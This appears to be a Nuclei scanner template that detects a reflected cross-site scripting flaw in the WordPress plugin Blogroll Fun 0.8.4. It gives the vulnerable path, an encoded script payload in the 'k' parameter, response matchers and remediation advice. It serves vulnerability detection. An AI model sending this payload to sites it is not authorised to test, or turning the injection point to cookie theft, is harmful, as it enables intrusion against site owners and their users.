id: wp-blogroll-fun-xss info: name: WordPress Blogroll Fun-Show Last Post and Last Update Time 0.8.4 - Cross-Site Scripting author: DhiyaneshDK severity: high description: | WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time 0.8.4 and possibly prior versions are prone to a cross-site scripting vulnerability because of a failure to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: Update to plugin version 0.8.5 or later. reference: - https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/ - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: verified: true max-request: 1 tags: wordpress,wp-plugin,xss,unauth,wp http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - 'Got:
' - type: word part: header words: - 'text/html' - type: status status: - 200 # digest: 4b0a0048304602210085e455edb90b4d7ab9fe7b9da60d029ccdeca94d06d6867601980d86b1804a86022100caff4e0d367817c89f294c7805eef3832f28aeb4f4065111e45375ee410c3b3a:922c64590222798bb761d5b6d8e72950